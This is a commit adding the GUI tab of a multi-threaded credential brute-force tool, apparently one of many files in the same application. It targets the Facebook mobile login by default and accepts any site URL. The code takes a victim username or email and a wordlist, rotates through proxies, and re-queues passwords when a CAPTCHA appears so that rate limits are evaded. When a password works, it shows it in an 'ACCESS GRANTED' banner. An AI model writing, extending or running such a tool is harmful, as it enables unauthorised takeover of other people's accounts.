Add full application source

This commit is contained in:
Dr Jones
2026-05-22 12:47:24 -07:00
parent 53138fdd1e
commit c958a06b96
37 changed files with 6642 additions and 0 deletions

490
src/gui/attack_tab.py Normal file
View File

@@ -0,0 +1,490 @@
"""
Attack Terminal Tab — multi-proxy credential attack against any login URL.
Includes live stats, speed controls, custom target URL, and CAPTCHA status.
"""
import logging
import threading
from datetime import datetime
from typing import Callable, Optional
import customtkinter as ctk
from src.gui.theme import CyberpunkTheme
from src.attack.orchestrator import AttackOrchestrator, AttackState, AttackStats
from src.attack.login_client import SiteConfig
from src.proxy.pool import ProxyPool
from src.utils.file_io import load_passwords, count_lines
from config import (PASSWORDS_FILE, MAX_CONCURRENT_WORKERS, DEFAULT_DELAY_MIN,
DEFAULT_DELAY_MAX, PROXY_ROTATION_EVERY, REQUEST_TIMEOUT)
logger = logging.getLogger(__name__)
_FB_LOGIN_URL = "https://m.facebook.com/login.php"
class AttackTab(ctk.CTkFrame):
def __init__(self, parent, proxy_pool: ProxyPool,
status_callback: Optional[Callable] = None,
attempt_logger=None):
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
self.proxy_pool = proxy_pool
self.status_callback = status_callback
self.orchestrator = AttackOrchestrator(
proxy_pool, logger_instance=attempt_logger)
self._build_ui()
self.orchestrator.on_stats_update = lambda s: self.after(0, lambda: self._on_stats_update(s))
self.orchestrator.on_log_entry = lambda e: self.after(0, lambda: self._on_log_entry(e))
self.orchestrator.on_success = lambda p, px, r: self.after(0, lambda: self._on_success(p, px, r))
self.orchestrator.on_state_change = lambda st: self.after(0, lambda: self._on_state_change(st))
self.orchestrator.on_captcha = lambda px: self.after(0, lambda: self._on_captcha_hit(px))
# ── Build ──────────────────────────────────────────────────────────────────
def _build_ui(self):
ctk.CTkLabel(self, text="[ ATTACK TERMINAL ]",
font=("Consolas", 18, "bold"),
text_color=CyberpunkTheme.PRIMARY).pack(pady=(15, 2))
ctk.CTkLabel(self,
text="Multi-threaded · Proxy rotation · GPU-optimised wordlist · Any site",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_SECONDARY).pack(pady=(0, 10))
self._build_target_bar()
self._build_speed_panel()
self._build_stats_panel()
self._build_progress_bar()
self._build_control_buttons()
self._build_live_log()
self._update_periodic()
# ── Target bar (URL + username + counters) ────────────────────────────────
def _build_target_bar(self):
bar = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
border_width=1, border_color=CyberpunkTheme.BORDER)
bar.pack(fill="x", padx=15, pady=(0, 8))
# Row 1 — target URL
row1 = ctk.CTkFrame(bar, fg_color="transparent")
row1.pack(fill="x", padx=12, pady=(10, 4))
ctk.CTkLabel(row1, text="Target URL:",
font=("Consolas", 11),
text_color=CyberpunkTheme.TEXT_SECONDARY,
width=100, anchor="w").pack(side="left")
self.url_entry = ctk.CTkEntry(
row1, placeholder_text=_FB_LOGIN_URL,
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
width=480)
self.url_entry.insert(0, _FB_LOGIN_URL)
self.url_entry.pack(side="left", padx=(0, 12))
CyberpunkTheme.apply_focus_glow(self.url_entry)
ctk.CTkLabel(row1, text="Form fields user:",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 4))
self.field_user_entry = ctk.CTkEntry(
row1, width=80, placeholder_text="email",
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 10))
self.field_user_entry.insert(0, "email")
self.field_user_entry.pack(side="left", padx=(0, 8))
ctk.CTkLabel(row1, text="pass:",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 4))
self.field_pass_entry = ctk.CTkEntry(
row1, width=80, placeholder_text="pass",
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 10))
self.field_pass_entry.insert(0, "pass")
self.field_pass_entry.pack(side="left")
# Row 2 — username/email + counters
row2 = ctk.CTkFrame(bar, fg_color="transparent")
row2.pack(fill="x", padx=12, pady=(0, 10))
ctk.CTkLabel(row2, text="Username / Email:",
font=("Consolas", 11),
text_color=CyberpunkTheme.TEXT_SECONDARY,
width=140, anchor="w").pack(side="left")
self.email_entry = ctk.CTkEntry(
row2, placeholder_text="target@example.com",
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12), width=310)
self.email_entry.pack(side="left", padx=(0, 20))
CyberpunkTheme.apply_focus_glow(self.email_entry)
self.pwd_count_label = ctk.CTkLabel(
row2, text="Wordlist: 0",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM)
self.pwd_count_label.pack(side="left", padx=(0, 18))
self.proxy_count_label = ctk.CTkLabel(
row2, text="Proxies: 0",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM)
self.proxy_count_label.pack(side="left", padx=(0, 18))
self.captcha_label = ctk.CTkLabel(
row2, text="CAPTCHAs: 0",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM)
self.captcha_label.pack(side="left")
# ── Speed panel ───────────────────────────────────────────────────────────
def _build_speed_panel(self):
panel = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
border_width=1, border_color=CyberpunkTheme.BORDER)
panel.pack(fill="x", padx=15, pady=(0, 8))
hdr = ctk.CTkFrame(panel, fg_color="transparent")
hdr.pack(fill="x", padx=12, pady=(8, 4))
ctk.CTkLabel(hdr, text="⚡ SPEED & CONCURRENCY",
font=("Consolas", 11, "bold"),
text_color=CyberpunkTheme.TERTIARY).pack(side="left")
inner = ctk.CTkFrame(panel, fg_color="transparent")
inner.pack(fill="x", padx=12, pady=(0, 10))
def _slider_group(parent, label, var, from_, to, steps, default, unit=""):
ctk.CTkLabel(parent, text=label, font=("Consolas", 11),
text_color=CyberpunkTheme.TEXT_SECONDARY,
width=160, anchor="w").pack(side="left")
sl = ctk.CTkSlider(parent, from_=from_, to=to, number_of_steps=steps,
variable=var, width=170,
fg_color=CyberpunkTheme.BG_MEDIUM,
progress_color=CyberpunkTheme.PRIMARY,
button_color=CyberpunkTheme.PRIMARY,
button_hover_color=CyberpunkTheme.SECONDARY)
sl.pack(side="left", padx=(0, 6))
val_lbl = ctk.CTkLabel(parent, font=("Consolas", 12, "bold"),
text_color=CyberpunkTheme.PRIMARY, width=48)
val_lbl.configure(text=f"{int(default)}{unit}")
val_lbl.pack(side="left", padx=(0, 24))
sl.configure(command=lambda v, l=val_lbl, u=unit:
l.configure(text=f"{int(float(v))}{u}"))
return sl
row1 = ctk.CTkFrame(inner, fg_color="transparent")
row1.pack(fill="x", pady=(0, 6))
self.workers_var = ctk.IntVar(value=MAX_CONCURRENT_WORKERS)
_slider_group(row1, "Workers (threads):", self.workers_var,
1, 30, 29, MAX_CONCURRENT_WORKERS, "×")
self.rotation_var = ctk.IntVar(value=PROXY_ROTATION_EVERY)
_slider_group(row1, "Proxy rotation (req):", self.rotation_var,
1, 20, 19, PROXY_ROTATION_EVERY, "req")
row2 = ctk.CTkFrame(inner, fg_color="transparent")
row2.pack(fill="x")
self.delay_min_var = ctk.DoubleVar(value=DEFAULT_DELAY_MIN)
_slider_group(row2, "Delay min (s):", self.delay_min_var,
0.0, 10.0, 100, DEFAULT_DELAY_MIN, "s")
self.delay_max_var = ctk.DoubleVar(value=DEFAULT_DELAY_MAX)
_slider_group(row2, "Delay max (s):", self.delay_max_var,
0.0, 10.0, 100, DEFAULT_DELAY_MAX, "s")
ctk.CTkLabel(row2, text="Timeout (s):", font=("Consolas", 11),
text_color=CyberpunkTheme.TEXT_SECONDARY,
width=90, anchor="w").pack(side="left")
self.timeout_entry = ctk.CTkEntry(
row2, width=64,
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12))
self.timeout_entry.insert(0, str(REQUEST_TIMEOUT))
self.timeout_entry.pack(side="left")
CyberpunkTheme.apply_focus_glow(self.timeout_entry)
# ── Stats panel ───────────────────────────────────────────────────────────
def _build_stats_panel(self):
stats = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
border_width=1, border_color=CyberpunkTheme.BORDER)
stats.pack(fill="x", padx=15, pady=(0, 8))
inner = ctk.CTkFrame(stats, fg_color="transparent")
inner.pack(fill="x", padx=12, pady=8)
def _stat(text, color):
l = ctk.CTkLabel(inner, text=text, font=("Consolas", 13, "bold"),
text_color=color)
l.pack(side="left", padx=(0, 22))
return l
self.attempts_label = _stat("Attempts: 0", CyberpunkTheme.TEXT_PRIMARY)
self.success_label = _stat("Found: 0", CyberpunkTheme.SUCCESS)
self.fail_label = _stat("Failed: 0", CyberpunkTheme.ERROR)
self.speed_label = _stat("Speed: 0 r/s", CyberpunkTheme.PRIMARY)
self.workers_label = _stat("Workers: 0", CyberpunkTheme.TERTIARY)
self.elapsed_label = _stat("00:00:00", CyberpunkTheme.TEXT_DIM)
row2 = ctk.CTkFrame(stats, fg_color="transparent")
row2.pack(fill="x", padx=12, pady=(0, 6))
ctk.CTkLabel(row2, text="Trying:", font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_SECONDARY).pack(side="left", padx=(0, 5))
self.current_pwd_label = ctk.CTkLabel(
row2, text="", font=("Consolas", 10),
text_color=CyberpunkTheme.PRIMARY)
self.current_pwd_label.pack(side="left", padx=(0, 14))
ctk.CTkLabel(row2, text="via", font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 5))
self.current_proxy_label = ctk.CTkLabel(
row2, text="", font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_DIM)
self.current_proxy_label.pack(side="left")
def _build_progress_bar(self):
pf = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
border_width=1, border_color=CyberpunkTheme.BORDER)
pf.pack(fill="x", padx=15, pady=(0, 8))
inner = ctk.CTkFrame(pf, fg_color="transparent")
inner.pack(fill="x", padx=12, pady=8)
self.progress_bar = ctk.CTkProgressBar(
inner, fg_color=CyberpunkTheme.BG_DARK,
progress_color=CyberpunkTheme.PRIMARY,
height=18, corner_radius=4)
self.progress_bar.pack(fill="x", expand=True)
self.progress_bar.set(0)
self.progress_text = ctk.CTkLabel(
inner, text="0.0% (0 / 0)",
font=("Consolas", 10, "bold"),
text_color=CyberpunkTheme.PRIMARY)
self.progress_text.pack(pady=(3, 0))
def _build_control_buttons(self):
bf = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
border_width=1, border_color=CyberpunkTheme.BORDER)
bf.pack(fill="x", padx=15, pady=(0, 8))
inner = ctk.CTkFrame(bf, fg_color="transparent")
inner.pack(padx=12, pady=10)
self.start_btn = CyberpunkTheme.create_neon_button(
inner, text="▶ START", command=self._on_start,
color=CyberpunkTheme.SUCCESS,
width=160, height=40, font=("Consolas", 14, "bold"))
self.start_btn.pack(side="left", padx=(0, 12))
self.pause_btn = CyberpunkTheme.create_neon_button(
inner, text="⏸ PAUSE", command=self._on_pause,
color=CyberpunkTheme.WARNING,
width=120, height=40, font=("Consolas", 14, "bold"))
self.pause_btn.pack(side="left", padx=(0, 12))
self.pause_btn.configure(state="disabled")
self.stop_btn = CyberpunkTheme.create_neon_button(
inner, text="⏹ STOP", command=self._on_stop,
color=CyberpunkTheme.ERROR,
width=120, height=40, font=("Consolas", 14, "bold"))
self.stop_btn.pack(side="left")
self.stop_btn.configure(state="disabled")
self.state_label = ctk.CTkLabel(
inner, text="◈ IDLE",
font=("Consolas", 15, "bold"),
text_color=CyberpunkTheme.TEXT_DIM, width=160)
self.state_label.pack(side="right", padx=(22, 0))
def _build_live_log(self):
ctk.CTkLabel(self, text="> LIVE LOG",
font=("Consolas", 12, "bold"),
text_color=CyberpunkTheme.PRIMARY).pack(anchor="w", padx=15, pady=(0, 4))
self.log_text = ctk.CTkTextbox(
self, fg_color=CyberpunkTheme.BG_DARK,
border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY,
font=("Consolas", 11), border_width=1)
self.log_text.pack(fill="both", expand=True, padx=15, pady=(0, 12))
self.log_text.insert("end",
"[SYSTEM] Ready.\n"
"[SYSTEM] 1. Set Target URL (default: Facebook mobile login)\n"
"[SYSTEM] 2. Enter username/email\n"
"[SYSTEM] 3. Generate wordlist in Password Builder\n"
"[SYSTEM] 4. Fetch & test proxies in Proxy Manager then COMMIT\n"
"[SYSTEM] 5. Press START\n")
self.log_text.configure(state="disabled")
# ── Speed → orchestrator ─────────────────────────────────────────────────
def _apply_speed_settings(self):
self.orchestrator.max_workers = max(1, int(self.workers_var.get()))
self.orchestrator.proxy_rotation_every = max(1, int(self.rotation_var.get()))
self.orchestrator.delay_min = float(self.delay_min_var.get())
self.orchestrator.delay_max = max(
float(self.delay_min_var.get()), float(self.delay_max_var.get()))
try:
self.orchestrator.request_timeout = int(self.timeout_entry.get() or "20")
except ValueError:
self.orchestrator.request_timeout = 20
self.orchestrator.login_client.request_timeout = self.orchestrator.request_timeout
def _build_site_config(self) -> SiteConfig:
url = self.url_entry.get().strip() or _FB_LOGIN_URL
user_field = self.field_user_entry.get().strip() or "email"
pass_field = self.field_pass_entry.get().strip() or "pass"
if "facebook.com" in url or "fb.com" in url:
from urllib.parse import urlparse
cfg = SiteConfig()
cfg.login_url = url
cfg.username_field = user_field
cfg.password_field = pass_field
return cfg
# Generic site
cfg = SiteConfig.for_url(url)
cfg.username_field = user_field
cfg.password_field = pass_field
return cfg
# ── Button handlers ───────────────────────────────────────────────────────
def _on_start(self):
username = self.email_entry.get().strip()
if not username:
self._log("ERROR: Enter a target username/email first")
return
passwords = load_passwords()
if not passwords:
self._log("ERROR: Wordlist is empty — generate passwords in the Password Builder tab")
return
if self.proxy_pool.available_count == 0:
self._log("WARNING: No proxies committed — attack will run without proxies")
self._apply_speed_settings()
site_cfg = self._build_site_config()
self.orchestrator.configure(username, passwords, site_cfg)
self.orchestrator.start()
self.start_btn.configure(state="disabled")
self.pause_btn.configure(state="normal")
self.stop_btn.configure(state="normal")
w = self.orchestrator.max_workers
url = site_cfg.login_url
self._log(f"▶ Attack started — {len(passwords):,} passwords, {w} workers")
self._log(f" Target: {url}")
self._notify(f"Attack running · {len(passwords):,} passwords · {w} workers")
def _on_pause(self):
if self.orchestrator.is_running:
self.orchestrator.pause()
self.pause_btn.configure(text="▶ RESUME")
self._log("⏸ Attack paused")
self._notify("Attack PAUSED")
elif self.orchestrator.is_paused:
self.orchestrator.resume()
self.pause_btn.configure(text="⏸ PAUSE")
self._log("▶ Attack resumed")
self._notify("Attack RUNNING")
def _on_stop(self):
self.orchestrator.stop()
self.start_btn.configure(state="normal")
self.pause_btn.configure(state="disabled", text="⏸ PAUSE")
self.stop_btn.configure(state="disabled")
self._log("⏹ Attack stopped")
self._notify("Attack STOPPED")
# ── Orchestrator callbacks ────────────────────────────────────────────────
def _on_stats_update(self, stats: AttackStats):
self.attempts_label.configure(text=f"Attempts: {stats.total_attempts:,}")
self.success_label.configure(text=f"Found: {stats.successful_attempts}")
self.fail_label.configure(text=f"Failed: {stats.failed_attempts:,}")
self.speed_label.configure(text=f"Speed: {stats.attempts_per_second:.1f} r/s")
self.workers_label.configure(text=f"Workers: {stats.active_workers}")
e = int(stats.elapsed_seconds)
self.elapsed_label.configure(text=f"{e//3600:02d}:{(e%3600)//60:02d}:{e%60:02d}")
self.current_pwd_label.configure(text=stats.current_password or "")
self.current_proxy_label.configure(text=stats.current_proxy or "")
progress = self.orchestrator.progress / 100
self.progress_bar.set(progress)
total_pw = len(self.orchestrator.passwords)
self.progress_text.configure(
text=f"{self.orchestrator.progress:.1f}% ({stats.passwords_tried:,} / {total_pw:,})")
self.pwd_count_label.configure(
text=f"Wordlist: {stats.passwords_tried:,}/{total_pw:,}")
self.proxy_count_label.configure(text=f"Proxies: {self.proxy_pool.available_count}")
self.captcha_label.configure(
text=f"CAPTCHAs: {stats.captchas_hit}",
text_color=(CyberpunkTheme.WARNING if stats.captchas_hit > 0
else CyberpunkTheme.TEXT_DIM))
if stats.current_password:
self._notify(
f"Trying: {stats.current_password[:24]} · "
f"{stats.attempts_per_second:.1f} r/s · "
f"{stats.active_workers} workers")
def _on_log_entry(self, entry: dict):
ts = datetime.now().strftime("%H:%M:%S")
icon = "[+]" if entry["result"] == "SUCCESS" else "[-]"
self._log(f"[{ts}] {icon} {entry['proxy'][:28]} >> {entry['password'][:28]} >> {entry['message']}")
def _on_success(self, password: str, proxy: str, result):
banner = (
"\n" + "" * 56 + "\n"
" *** ACCESS GRANTED — CREDENTIALS FOUND ***\n"
f" PASSWORD : {password}\n"
f" PROXY : {proxy}\n"
"" * 56 + "\n"
)
self._log(banner)
self.log_text.configure(border_color=CyberpunkTheme.SUCCESS)
self.after(3000, lambda: self.log_text.configure(border_color=CyberpunkTheme.BORDER))
self._notify(f"*** PASSWORD FOUND: {password} ***")
def _on_captcha_hit(self, proxy: str):
self._log(f"[!] CAPTCHA detected via {proxy[:28]} — proxy rotated, password re-queued")
self.log_text.configure(border_color=CyberpunkTheme.WARNING)
self.after(2000, lambda: self.log_text.configure(border_color=CyberpunkTheme.BORDER))
def _on_state_change(self, state: AttackState):
colors = {
AttackState.IDLE: CyberpunkTheme.TEXT_DIM,
AttackState.RUNNING: CyberpunkTheme.SUCCESS,
AttackState.PAUSED: CyberpunkTheme.WARNING,
AttackState.STOPPED: CyberpunkTheme.ERROR,
AttackState.COMPLETED: CyberpunkTheme.PRIMARY,
}
self.state_label.configure(
text=f"{state.value.upper()}",
text_color=colors.get(state, CyberpunkTheme.TEXT_DIM))
if state in (AttackState.COMPLETED, AttackState.STOPPED):
self.start_btn.configure(state="normal")
self.pause_btn.configure(state="disabled", text="⏸ PAUSE")
self.stop_btn.configure(state="disabled")
# ── Helpers ───────────────────────────────────────────────────────────────
def _log(self, message: str):
self.log_text.configure(state="normal")
self.log_text.insert("end", message + "\n")
self.log_text.see("end")
self.log_text.configure(state="disabled")
def _notify(self, msg: str):
if self.status_callback:
self.status_callback(msg)
def _update_periodic(self):
try:
pwd_count = count_lines(PASSWORDS_FILE)
self.pwd_count_label.configure(text=f"Wordlist: {pwd_count:,}")
except Exception:
pass
self.proxy_count_label.configure(text=f"Proxies: {self.proxy_pool.available_count}")
self.after(2000, self._update_periodic)